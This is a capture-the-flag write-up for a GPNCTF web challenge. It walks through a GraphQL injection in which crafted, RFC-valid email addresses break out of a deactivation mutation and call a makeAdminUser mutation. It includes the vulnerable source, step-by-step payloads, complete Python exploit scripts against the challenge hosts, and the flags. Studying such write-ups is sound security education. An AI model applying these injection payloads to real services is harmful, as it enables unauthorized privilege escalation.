Please don’t ask how this relates to Christmas, you wouldn’t get it.
It’s inspired by some real code I found in a project.
Category: Web
Solver: Liekedaeler
Flag v1: GPNCTF{Af7Er_cHRiSTmAs_Is_8ASiC4L1y_b3FORE_CHRistmAS_so_17_1s_a1W4ys_ChR1STma5_Qed}
Flag v2: GPNCTF{d1d_you_r3ad_maNY_c0MmEn7S_wh1lE_re4Din6_fUnny_rFC5?}
Scenario
In this challenge we are given source code for a web application that uses graphql. The flag can only be accessed by users who are active, admin and have been registered more than 20 seconds ago. So that has to be our goal. We’ll be looking at both versions of the challenge as they share the same objective and the second simply makes it slightly harder.
Analysis
Version 1
Let’s start by looking at the user model:
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String(120), index=True, unique=True, nullable=False)
password_hash = db.Column(db.String(128), nullable=False)
registration_time = db.Column(db.DateTime, default=lambda: datetime.now(timezone.utc))
is_active = db.Column(db.Boolean, default=True)
is_admin = db.Column(db.Boolean, default=False)
def __repr__(self):
return f'<User {self.email}>'
So becoming admin will need some tricks. Having an active user should be easy. Well, not quite. The server periodically runs a task that disables all users using the following graphql query:
def deactivate_user_graphql(email):
graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]
query = f"""
mutation {{
deactivateUser (user: {{email: "{email}"}}){{
success
}}
}}
"""
try:
print(query)
current_app.logger.info(
f"Sending deactivation request for user: {email} to GraphQL endpoint."
)
response = requests.post(
graphql_endpoint,
json={"query": query, "variables": {}},
# Just assume that this deactivation service is running on a separate server,
# and that we get a token to access it.
headers={
"Key": current_app.config["SERVICE_TOKEN_KEY"],
},
)
response.raise_for_status()
except requests.exceptions.RequestException as e:
current_app.logger.error(f"Failed to send deactivation request to GraphQL: {e}")
except Exception as e:
current_app.logger.error(
f"An unexpected error occurred during user deactivation: {e}"
)
As the logic doesn’t really allow us to prevent it from running the query for our email, we’ll need to fiddle with the query itself. It simply takes our email without any validation, allowing us to inject arbitrary strings. Well, not quite. The email is passed through result = is_email(email, diagnose=True, check_dns=False, allow_gtld=True)
during registration, so we’re limited to valid email addresses. Luckily, email addresses allow quite a lot so that shouldn’t be too much of an issue. We could probably craft an email that prematurely terminates the email field, therefore not deactivating our user. So we’d have a user that is active and has been registered for a while. But we still need to become an admin. For that we need to look into the graphql.py
file. We can find:
class UserInput(InputObjectType):
id = Int(required=False)
email = String(required=False)
class MakeAdminUser(Mutation):
class Meta:
description = "Mutation to make a user an admin"
class Arguments:
user = UserInput(required=True)
success = Boolean()
message = String()
def mutate(self, info, user):
# Auth
if (
not info.context.headers.get("Key")
== current_app.config["SERVICE_TOKEN_KEY"]
):
return MakeAdminUser(success=False, message="Unauthorized")
# Find the user
db_user = None
if user.get("id") is not None:
db_user = User.query.filter_by(id=user.get("id")).first()
elif user.get("email") is not None:
db_user = User.query.filter_by(email=user.get("email")).first()
if not db_user:
return MakeAdminUser(success=False, message="User not found")
db_user.is_admin = True
db.session.commit()
return MakeAdminUser(success=True, message="User made admin successfully")
class MutationRoot(ObjectType):
deactivate_user = DeactivateUser.Field()
make_admin_user = MakeAdminUser.Field()
schema = Schema(query=QueryRoot, mutation=MutationRoot)
So there is a mutation (which is sort of like a function) that would make our user an admin. It does authentication using a key that we don’t have, but luckily that is passed to the deactivateUser query, so that is not an issue. Our goal therefore needs to be to craft an email so that:
- it breaks the deactivation for our user
- it calls the MakeAdminUser mutation on our user
- it is a valid email
First, let’s take a look at two useful resources for understanding our options with valid emails: RFC5322 and Wikipedia. The most important thing to take away from those is that we can put nearly any character into a quoted string in the local part of an email (that is: <"local part">@<domain>.<tld>
). Let’s craft our payload step by step:
First, we will use "}){success}
to prematurely close the deactivateUser mutation. This will keep our account active.
Second, we call the makeAdminUser mutation using makeAdminUser(user:{id:1})
. As we’re always the first to register an account, we can simply use id:1 to identify our user. That makes things significantly easier as you’ll see in part 2. Of course, if we tried something and it didn’t work, the id needs to be incremented.
Next, we need to make sure our resulting query is still functional. We need an opening curly brace for the “success” part and then we’ll comment out the rest of the line so we can do our email stuff without any issues. So that’s {#
Lastly, we need to close our local part and add a domain to make it a valid email. That’ll be "@evil.com
.
Put together, we arrive at "}){success}makeAdminUser(user:{id:1}){#"@evil.com
. This breaks the deactivation, makes us an admin and is a valid email. Here is what that looks like the in query, slightly formatted for better readability:
mutation {
deactivateUser (user: {email: ""})
{success}
makeAdminUser (user: {id: 1}) { #"@evil.com"}){
success
}
}
The final exploit script then looks like this:
import requests, time
base = "https://portville-of-indomitable-industry.gpn23.ctf.kitctf.de"
email = '"}){success}makeAdminUser(user:{id:1}){#"' + "@evil.com"
pw = "password123"
s = requests.Session()
# 1) Register poisoned account
r = s.post(f"{base}/register", data={"email": email, "password": pw})
r.raise_for_status()
print("[+] registered")
# 2) Wait ≥21 s for deactivation job + flag‐wait
time.sleep(21)
# 3) Log in
r = s.post(f"{base}/login", data={"email": email, "password": pw})
r.raise_for_status()
print("[+] logged in")
# 4) Grab the flag
r = s.get(f"{base}/flag")
print(r.text)
r.raise_for_status()
Version 2
Now let’s look at the second, harder version. The code is almost exactly the same, with one important difference:
class UserInput(InputObjectType):
email = String(required=False)
Before, we could also identify users in our mutations via their id. Now we’re limited to emails. It quickly becomes obvious that an exploit using only one account will not work here. Instead, we’ll need 2. The first is built so it simply survives and won’t be deactivated while the second is built to make the first an admin. That also means, the email of the first account needs to be part of the second email. This is where things get tricky and I’ll try my best to explain how the payload works.
One observation will be key for our exploit: For the first account it doesn’t matter whether the deactivation fails because of a non-existent email address or because of a syntax error. Both have the same result for our purposes. Being allowed to break the query is quite helpful though.
A very simple email that breaks the query is "{"@t
. Here’s what that will look like in the query:
mutation {
deactivateUser (user: {email: ""{"@t"}){
success
}
}
We close out the string and then break the curly braces, leading to a syntax error. The query crashes and our user survives.
Next, we need to build a user that promotes our first user to admin. This time we’ll be abusing comments instead of quoted local-part shenanigans. Yes, you can have comments in your email address. It’s wild. A comment in emails is done by putting things inside ()
. It does have some limitations as to where it may occur, but that won’t be an issue for us here, so we’ll ignore that. Let’s go through it step by step:
First, we need to break out of the email field. We first open up a comment that we’ll be using to house the double-quotes we will need later on. Then we nest another comment inside, because we somehow need to create the sequence "})
that we already used before and we don’t want to accidentally close our outer comment or have the "
accidentally start a quoted string. We’ll again follow that up with {success}
because this query actually needs to be syntactically correct. The first part ends up looking like this: (("}){success}
.
Second, we’ll do the makeAdminUser call. This is why this version is more difficult. The email is a string field and therefore needs double quotes. This is why we’re doing all the comment shenanigans instead of the quoted string. A quoted string would simply be terminated here and that’d break everything. Inside comments double quotes are allowed. This part then looks like this: makeAdminUser(user:{email:"\"{\"@t"})
. The outer quotes are used to start and end the email string. The inner quotes are part of the email of the first account and are therefore escaped.
Next, we need to make sure the syntax is still correct. For that we add {#
as we did in version 1. That opens up the curly brace for {success}
and comments out the rest of the line so we can fix our email.
Lastly, we can fix our email. We still need to close our outer comment and have at least some local part. that’ll be )a
. Then we can once again add any domain and end up with )a@evil.com
.
The final payload therefore is: (("}){success}makeAdminUser(user:{email:"\"{\"@t"}){#)a@evil.com
. To illustrate, here is what that looks like in the query:
mutation {
deactivateUser (user: {email: "(("})
{success}
makeAdminUser(user:{email:"\"{\"@t"})
{ #)a@evil.com"}){
success
}
}
While it isn’t pretty, it gets the job done. The exploit script looks fairly similar to that of version 1:
import requests, time
base = "https://goldenville-of-charged-commerce.gpn23.ctf.kitctf.de"
survivor = '"{"@t'
promoter = '(("}){success}makeAdminUser(user:{email:"\\"{\\"@t"}){#)a' + "@evil.com"
pw = "password123"
survivor_session = requests.Session()
r = survivor_session.post(f"{base}/register", data={"email": survivor, "password": pw})
promoter_session = requests.Session()
# 1) Register poisoned account
r = promoter_session.post(f"{base}/register", data={"email": promoter, "password": pw})
r.raise_for_status()
print("[+] registered")
# 2) Wait ≥21 s for deactivation job + flag‐wait
time.sleep(21)
# 3) Log in
r = survivor_session.post(f"{base}/login", data={"email": survivor, "password": pw})
r.raise_for_status()
print("[+] logged in")
# 4) Grab the flag
r = survivor_session.get(f"{base}/flag")
print(r.text)
r.raise_for_status()
I am now an expert in RFC5322 and don’t know what to do with that knowledge, but I do have it. Also I solved that challenge like 30min before the CTF ended and that put us in 1st place so that was fun and hella stressful. If you happen to have any more questions, ask on the discord, I’ll answer any questions there.